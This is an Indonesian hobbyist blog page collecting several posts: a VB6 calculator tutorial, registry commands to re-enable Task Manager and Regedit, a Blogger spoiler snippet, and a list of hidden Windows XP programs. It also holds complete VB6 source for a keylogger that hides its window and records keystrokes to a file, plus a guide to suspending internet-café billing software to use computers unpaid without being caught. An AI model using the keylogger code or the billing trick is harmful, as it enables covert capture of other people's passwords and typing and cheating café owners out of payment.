Cara membuat Calculator sederhana dengan VB6

Malam.....Sobat blogger pada postingan kemarin saya sudah posting tentang cara membuat keylogger sederhana, pada kesempatan kali ini saya akan memposting tentang cara membuat Kalkulator sederhana ,meskipun hanya sederhana yang penting berguna .Sobat bisa ilihat kurang lebih seperti ini tampilannya:

jika sobat berminat mencobanya sobat tinggal ikuti cara dibawah ini:

• Pertama sobat buka program visual basic klo sobat gak punya visual basicnya bisa download DISINI
• pilih yang STANDART.EXE 
• lalu oke

 Buat :

1.)form

seting:

(name):form1

2.)Text box1:

seting:

(Name):TxtDisplay

Alignment: 1-Right-justify

Text:(kosongin)

Maxlength:12

3.)Buat 19 Command button

(susun cmd seperti pada gambar diatas atau anda bisa menyusun sesuai dengan keinginan anda )

copy code di bawah ini di form1 :

(caranya klik kanan pada form>pilih view code )

source codeenya:

Option Explicit
Private Hasil As Double
Private Const opNol = 0
Private Const opTambah = 1
Private Const opKurang = 2
Private Const opKali = 3
Private Const opBagi = 4
Private Operator As Integer
Private NilaiBaru As Boolean

' untuk menghapus karakter terakhir
Private Sub Hapus()
Dim txt As String
Dim min_len As Integer
txt = txtDisplay.Text
If Left$(txt, 1) = "-" Then
min_len = 2
Else
min_len = 1
End If
If Len(txt) > min_len Then
txtDisplay.Text = Left$(txt, Len(txt) - 1)
Else
txtDisplay.Text = "0"
End If
End Sub

' hapus angka, hasil terakhir dan operator
Private Sub cmdClear_Click()
cmdClearEntry_Click
Hasil = 0
Operator = opNol
End Sub
' hapus angka
Private Sub cmdClearEntry_Click()
txtDisplay.Text = ""
End Sub
' menambahkan koma (desimal)
Private Sub cmdKoma_Click()
If InStr(txtDisplay.Text, ".") Then
Beep
Else
If NilaiBaru Then
txtDisplay.Text = "."
NilaiBaru = False
Else
txtDisplay.Text = txtDisplay.Text & "."
End If
End If
End Sub

' Menghitung
Private Sub cmdSamaDengan_Click()
Dim HasilBaru As Double
If txtDisplay.Text = "" Then
HasilBaru = 0
Else
HasilBaru = CDbl(txtDisplay.Text)
End If
Select Case Operator
Case opNol
Hasil = HasilBaru
Case opTambah
Hasil = Hasil + HasilBaru
Case opKurang
Hasil = Hasil - HasilBaru
Case opKali
Hasil = Hasil * HasilBaru
Case opBagi
'Tidak bisa dibagi nol
If HasilBaru = 0 Then
MsgBox "Tidak bisa dibagi 0", vbOKOnly + vbCritical, "Kalku ERROR"
Call cmdClear_Click
Else
Hasil = Hasil / HasilBaru
End If
End Select
Operator = opNol
NilaiBaru = True
txtDisplay.Text = Format$(Hasil)
End Sub

' menuliskan angka
Private Sub cmdAngka_Click(Index As Integer)
If NilaiBaru Then
txtDisplay.Text = Format$(Index)
NilaiBaru = False
Else
txtDisplay.Text = _
txtDisplay.Text & Format$(Index)
End If
End Sub
' tombol tambah/kurang/bagi/kali
Private Sub cmdOperator_Click(Index As Integer)
cmdSamaDengan_Click
Operator = Index
NilaiBaru = True
End Sub

' merubah tanda +/-
Private Sub cmdPlusMinus_Click()
If NilaiBaru Then
txtDisplay.Text = "-"
ElseIf Left$(txtDisplay.Text, 1) = "-" Then
txtDisplay.Text = Right$(txtDisplay.Text, 2)
Else
txtDisplay.Text = "-" & txtDisplay.Text
End If
End Sub

' filter untuk angka saja yg dapat diketikkan
Private Sub Form_KeyPress(KeyAscii As Integer)
txtDisplay_KeyPress KeyAscii
End Sub
Private Sub Form_KeyUp(KeyCode As Integer, Shift As Integer)
txtDisplay_KeyUp KeyCode, Shift
End Sub
' supaya kursor tetap di kanan
Private Sub txtDisplay_Change()
txtDisplay.SelStart = Len(txtDisplay.Text)
End Sub
Private Sub txtDisplay_GotFocus()
txtDisplay_Change
End Sub

' untuk mengetikkan angka di keyboard
Private Sub txtDisplay_KeyPress(KeyAscii As Integer)
Dim ch As String
ch = Chr$(KeyAscii)
Select Case ch
Case "0"
cmdAngka_Click 0
Case "1"
cmdAngka_Click 1
Case "2"
cmdAngka_Click 2
Case "3"
cmdAngka_Click 3
Case "4"
cmdAngka_Click 4
Case "5"
cmdAngka_Click 5
Case "6"
cmdAngka_Click 6
Case "7"
cmdAngka_Click 7
Case "8"
cmdAngka_Click 8
Case "9"
cmdAngka_Click 9
Case "*", "x", "X"
cmdOperator_Click opKali
Case "+"
cmdOperator_Click opTambah
Case vbCrLf, vbCr, "="
cmdSamaDengan_Click
Case "-"
cmdOperator_Click opKurang
Case "."
cmdKoma_Click
Case "/"
cmdOperator_Click opBagi
Case "C", "c"
cmdClearEntry_Click
End Select
KeyAscii = 0
End Sub

' untuk ketikan angka di numpad
Private Sub txtDisplay_KeyUp(KeyCode As Integer, Shift As Integer)
Select Case KeyCode
Case vbKeyNumpad0
cmdAngka_Click 0
Case vbKeyNumpad1
cmdAngka_Click 1
Case vbKeyNumpad2
cmdAngka_Click 2
Case vbKeyNumpad3
cmdAngka_Click 3
Case vbKeyNumpad4
cmdAngka_Click 4
Case vbKeyNumpad5
cmdAngka_Click 5
Case vbKeyNumpad6
cmdAngka_Click 6
Case vbKeyNumpad7
cmdAngka_Click 7
Case vbKeyNumpad8
cmdAngka_Click 8
Case vbKeyNumpad9
cmdAngka_Click 9
Case vbKeyMultiply
cmdOperator_Click opKali
Case vbKeyAdd
cmdOperator_Click opTambah
Case vbKeySeparator
cmdSamaDengan_Click
Case vbKeySubtract
cmdOperator_Click opKurang
Case vbKeyDivide
cmdOperator_Click opBagi
Case vbKeyDecimal
cmdKoma_Click
Case vbKeyBack, vbKeyDelete
Hapus
End Select
KeyCode = 0
End Sub

Ini untuk seting CommandButoon:

Name	Caption	Index
cmdAngka	1	1
cmdAngka	2	2
cmdAngka	3	3
cmdAngka	4	4
cmdAngka	5	5
cmdAngka	6	6
cmdAngka	7	7
cmdAngka	8	8
cmdAngka	9	9
cmdAngka	0	0
cmdPlusMinus	+/-
cmdKoma	,
cmdOperator	/	4
cmdOperator	x	3
cmdClear	C
cmdClearEntry	CE
cmdOperator	+	1
cmdOperator	-	2
cmdSamaDengan	=

Anda bisa kreasikan buatan anda sendiri dengan memasang baground di calculator tsb ,saya sudah mencoba dan sudah berhasil ,jika sobat ada sesuatu kesalahan pada cara diatas sobat bisa comment.....oke

                                                 ----sekian dan terimakasih-----

Cara meng-Enable taskmanager yang disable

 Pada postingan sebelumnya saya sudah memberikan cara meng-enable registry/Regedit

Kesempatan kali ini saya akan memberikan cara meng-enable taskmanager yang disable oke langsung aja daripada kelamaan nih ikutin ya caranya:

klik start>pilih Run ketikan/copy code dibawah ini

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

Nah sekarang anda tekan [Ctrl]+[Alt]+[Del.]  pasti udah enable taskmanagernya

Silahkan mencoba..........

Cara meng-Enable Registry/Regedit yang disable

Langsung ajah diliat caranya :

klik start>pilih "Run" (tanpa tanda kutip)

Ketikan Cmd di kotak Run maka muncul tampilan commandprompt
ketikan kode dibawah ini:

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

lalu tekan tombol y

nah udah coba  ke regedit lagi bisa pasti dah

Cara membuat Spoiler di dalam entri blog

Pagi......Sobat blogger ,pada kesempatan kali ini saya akan memberikan satu info cara membuat Spoiler di dalm entri blog ,seperti pada judul artikel ini  .Oke tanpa banyak bertele langsung aja bisa diliat caranya:

Pertama sobat login ke Blogger dulu

2.pilih entri baru

3.terserah di bagian ini sobat mau posting apa

4.pilih edit HTML

5.copas script dibawah ini

<div><div style="margin: 5px;">

<div class="smallfont" style="margin-bottom: 2px;"><i><span style="font-weight: bold;">Judul spoiler nya</span></i><input value="Show" style="margin: 0px; padding: 0px; width: 60px; font-size: 10px;" onclick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = ''; this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }" type="button"/>

</div>

<div class="alt2" style="border: 1px inset ; margin: 0px; padding: 6px;">

<div style="display: none;">

isi text nya disini sobat

</div></div></div></div>

lalu jadi seperti ini :

Judul spoiler nya

isi text nya disini sobat

klo sudah jadi seperti diatas berarti sobat berhasil dan jangan lupa ucapkan terima kasih ...

    udah dulu,ya info dari saya

                                                                                      

.....sekian dan terima kasih.......

23 program aplikasi yang tersembunyi di dalam windows Xp

Pada artikel ini saya akan menjelaskan bahwa di dalam winXp tidak semua aplikasi (programnya) tidak di tampilkan seperti ;moviemaker,calculator dan masih banyak lagi dan saya tidak akan menyebutkannya satu persatu. Disini hanya 23 aplikasi yang saya akan bahas ,sebenarnya lebih daripada 23aplikasi karna saya sudah terlanjur cape yaudah 23 aja ,jika anda ingin mencobanya/ melihatnya silahkan ikuti saya

pertama klik Start>run>ketikan nama programnya ex: cleanmgr.exe

berikut nama programnya:

1. Character Map = charmap.exe
untuk melihat karakter seperti ™

2. Disk Cleanup = cleanmgr.exe
untuk cleanup disk

3. Clipboard Viewer = clipbrd.exe
liat apa yang dicopy menggunakan ctrl+C

4. Dr Watson = drwtsn32.exe
Ini buat kalo ada troubleshooting di PC. kayak dokter gitu

5. DirectX diagnosis = dxdiag.exe
ini buat diagnosis audio video card sound danlain-lain

6. Private character editor = eudcedit.exe
Ini untuk buat karakter baru di windows anda

7. IExpress Wizard = iexpress.exe
untuk membuat self extractor. seperti file Zip

8. Microsoft Synchronization Manager = mobsync.exe
Seperti namanya, buat sincronisasi..

9. Windows Media Player 5.1 = mplay32.exe
ini WMP versi lawas

10. ODBC Data Source Administrator = odbcad32.exe
Ini sesuatu yang digunakan untuk keperluan database

11. Object Packager = packager.exe
Ini untuk memasukkan objek kedalam file..

12. System Monitor = perfmon.exe
seperti judulnya, ini untuk memonitor PC anda..

13. Program Manager = progman.exe
ini warisan dari Windows 3.x desktop shell

14. Remote Access phone book = rasphone.exe
Sejenis buku telepon

15. Registry Editor = regedit.exe
untuk melakukan tweaking, editing registry windows

16. Network shared folder wizard = shrpubw.exe
Membuat shared folder dalam jaringan

17. File siganture verification tool = sigverif.exe
program verifikasi signature

18. Volume Control = sndvol32.exe
buat nampilin sound control di System Tray

19. System Configuration Editor = sysedit.exe
untuk mengubah system.ini dan win.ini

20. Syskey = syskey.exe
untuk melakukan konfigurasu account di windows

21. Microsoft Telnet Client = telnet.exe
ini untuk melakukan koneksi internet sebelum ada browser

22. Driver Verifier Manager = verifier.exe
untuk monitoring driver di windows anda

23. Windows for Workgroups Chat = winchat.exe
untuk chat secara LAN

Sekian info dari saya jika ada kesalahan mohon diralat 

-----------------------------------------THANKS FOR ALL ----------------------------------------------

Cara membuat Keylogger sederhana dengan VB6

Hey...... sobat blogger dah lama neh saya gak update  kemarin lusa ada teman saya yang bertanya "gimana sih cara bikin keylogger" lalu saya berpikir keesokan harinya saya mengudek-ngudek paman Google akhirnya ketemu juga jawabannya ,Nah pada kesempatan ini saya akan memberikan artikel tentang cara membuat keylogger ,artikel ini memang sudah ditunggu- tunggu meskipun sudah banyak yang memposting tentang cara ini oke udah ya curhatnya ,sekarang ikuti saya

pertama sediakan visualbasic6 kalo sobat gakpunya bisa di download
kedua buka visual basic nya pilih yang standard EXE

buat form

name :form1

buat textbox

seting:name:text1
         multiline:true

buat satu timer

seting:interval : 200

lalu copy code berikut ini di form1

(caranya dengan klik kanan pada form pilih viewcode)

Ini Source Codenya

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


Private Type TList

kode As Integer

bawah As String

atas As String

End Type


Private List(1 To 255) As TList

Private IndexList As Integer


Private Sub AddToTable(kode As Integer, atas As String, bawah As String)

IndexList = IndexList + 1

List(IndexList).kode = kode

List(IndexList).atas = atas

List(IndexList).bawah = bawah

End Sub


Private Sub Build_Table()

Dim i As Integer

For i = 65 To 90

AddToTable i, Chr(i), Chr(i + 32)

Next i

AddToTable 48, ")", "0"

AddToTable 49, "!", "1"

AddToTable 50, "@", "2"

AddToTable 51, "#", "3"

AddToTable 52, "$", "4"

AddToTable 53, "%", "5"

AddToTable 54, "^", "6"

AddToTable 55, "&", "7"

AddToTable 56, "*", "8"

AddToTable 57, "(", "9"

AddToTable &H60, "", "0"

AddToTable &H61, "", "1"

AddToTable &H62, "", "2"

AddToTable &H63, "", "3"

AddToTable &H64, "", "4"

AddToTable &H65, "", "5"

AddToTable &H66, "", "6"

AddToTable &H67, "", "7"

AddToTable &H68, "", "8"

AddToTable &H69, "", "9"

AddToTable Asc(" "), " ", " "



End Sub


Private Sub Form_Load()

Me.Visible = False

Build_Table

End Sub


Private Sub AddToFile(Isi As String)

Dim Data As String

Dim FileHandler As Long



If (Dir(App.Path & "\log.txt") <> "") Then

FileHandler = FreeFile

Open App.Path & "\log.txt" For Input As #FileHandler

Data = Input(LOF(FileHandler) - 2, #FileHandler)

Close #FileHandler

End If



FileHandler = FreeFile

Open App.Path & "\log.txt" For Output As #FileHandler

Print #FileHandler, Data & Isi

Close #FileHandler

End Sub


Private Sub Timer1_Timer()

Dim i As Integer

Dim a, b As Integer

For i = LBound(List) To UBound(List)

a = GetAsyncKeyState(List(i).kode)

b = GetAsyncKeyState(16)

If (a = -32767) Then

If (b = -32768) Then

AddToFile List(i).atas

Else

AddToFile List(i).bawah

End If

Exit For

End If

Next

End Sub

keterangan kalimat log.txt bisa anda ganti dengan format file apa saja
log.txt :hasil rekaman (log) ketukan keyboard

setelah sudah dicopy pilih menu file>makeproject1.exe

ex: namai dengan klog.exe atau anda bisa namai dengan apa yang anda inginkan

setelah sudah jadi klog.exe ,jalankan file tsb (ketika file sudah dijalankan tidak akan ada reaksi apa-apa jika anda ingin tau apakah file tsb berjalan atau tidak cek di taks manager>proses>cari program yang bernama klog.exe )

jika ada program tsb di taks manger berarti berhasil berjalan

pesan saya  jika terjadi eror pada SC diatas anda bisa coment 

sekian  artikel yang saya buat ini  jika bahasa tulisan di artikel ini kurang bisa anda memahaminya ,harap dimaklumi saja karna saya hanya Newbie yang masih dalam peroses belajar.

maaf saya tidak kasih screensootnya 

Selamat mencoba dan semoga berhasil

Anda suka dengan artikel yang saya buat , anda tak perlu segan untuk mencopynya tetapi saya mohon cantumkan link sumber dari artikel tersebut

Hack Billing dengan SMADAV(anti virus)

Hey.. sobat blogger

Saya punya sedikit tips untuk memainkan Billing di warnet atau sobat bisa hack billingnya truss sobat bisa maen sepuas nya.Ada yang tahu billing apa..? Billing tuh waktu yg ada di warnet.oke saya tidak mau panjang lebar langsung aja:

Sekarang sobat tiggal ikutin nih... caranya:

pertama

maen di warnet pilih warnet yang akan menjadi korban

2.siapkan anti virus SMADAV nya klo gak punya download ja Disini

3.buka smadav

4.Klik Tools pada SMADAV >> Process Manager >> Cari Billingnya >> Klik Kanan Pada Program Billing yg ada di Tools dan Process Manager SMADAV >> ketika di Klik kana akan Keluar tulisan Action > Kill/Restart/Supsend/resume.

Cara ini berlaku untuk semua jenis billing

keterangan:

• Kill( Untuk menghilangkan Billing )
• Restart ( Untuk mengembalikan waktu ke  0 menit )
• Supsend ( Untuk pause Billing/Menghentikan Billing sepuasnya )
• Resume ( Untuk Melanjutkan Billing yang di Supsend )  

Kalo mau hack billing nya pilih yang suspend.............

PERLU DI INGAT:

-cara ini tidak berlaku jika sobat bermain dengan billing personal

-Jangan sampai ketahuan keduakalinya oleh penjaga warnet tersebut

 Saya menulis artikel ini bukan bermaksud mengajari anda tetapi saya hanya berbagi tips informasi 

jika ada sebuah pelanggaran atas perbuatan anda saya tidak akan bertanggung jawab dan jangan membawa nama blog saya....!!!!!!

Jika yang membaca artikel ini adalah penjaga warnet ....segera lakukan pencegahan.....

Anda suka dengan postingan saya ,anda bisa meng copynya akan tetapi saya mohon cantumkan link sumbernya ,oke... terimakasih